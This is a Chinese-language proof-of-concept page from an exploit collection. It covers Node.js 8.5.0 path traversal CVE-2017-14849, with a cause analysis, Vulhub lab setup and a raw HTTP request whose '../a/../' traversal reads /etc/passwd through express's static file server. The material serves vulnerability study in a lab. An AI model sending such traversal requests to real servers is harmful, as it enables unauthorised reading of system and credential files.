Awesome-POC/中间件漏洞/Node.js 目录穿越漏洞 CVE-2017-14849.md
2024-11-06 14:10:36 +08:00

42 lines
1.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Node.js 目录穿越漏洞 CVE-2017-14849
## 漏洞描述
参考文档:
- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
- https://security.tencent.com/index.php/blog/msg/121
原因是 Node.js 8.5.0 对目录进行`normalize`操作时出现了逻辑错误,导致向上层跳跃的时候(如`../../../../../../etc/passwd`),在中间位置增加`foo/../`(如`../../../foo/../../../../etc/passwd`),即可使`normalize`返回`/etc/passwd`,但实际上正确结果应该是`../../../../../../etc/passwd`
express这类web框架通常会提供了静态文件服务器的功能这些功能依赖于`normalize`函数。比如express在判断path是否超出静态目录范围时就用到了`normalize`函数上述BUG导致`normalize`函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
当然,`normalize`的BUG可以影响的绝非仅有express更有待深入挖掘。不过因为这个BUG是node 8.5.0 中引入的,在 8.6 中就进行了修复,所以影响范围有限。
## 环境搭建
Vulhub编译及运行环境
```
docker-compose build
docker-compose up -d
```
访问`http://your-ip:3000/`即可查看到一个web页面其中引用到了文件`/static/main.js`,说明其存在静态文件服务器。
![image-20220228104418600](images/202202281044680.png)
## 漏洞复现
发送如下数据包即可读取passwd
```
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
![image-20220228104536521](images/202202281045638.png)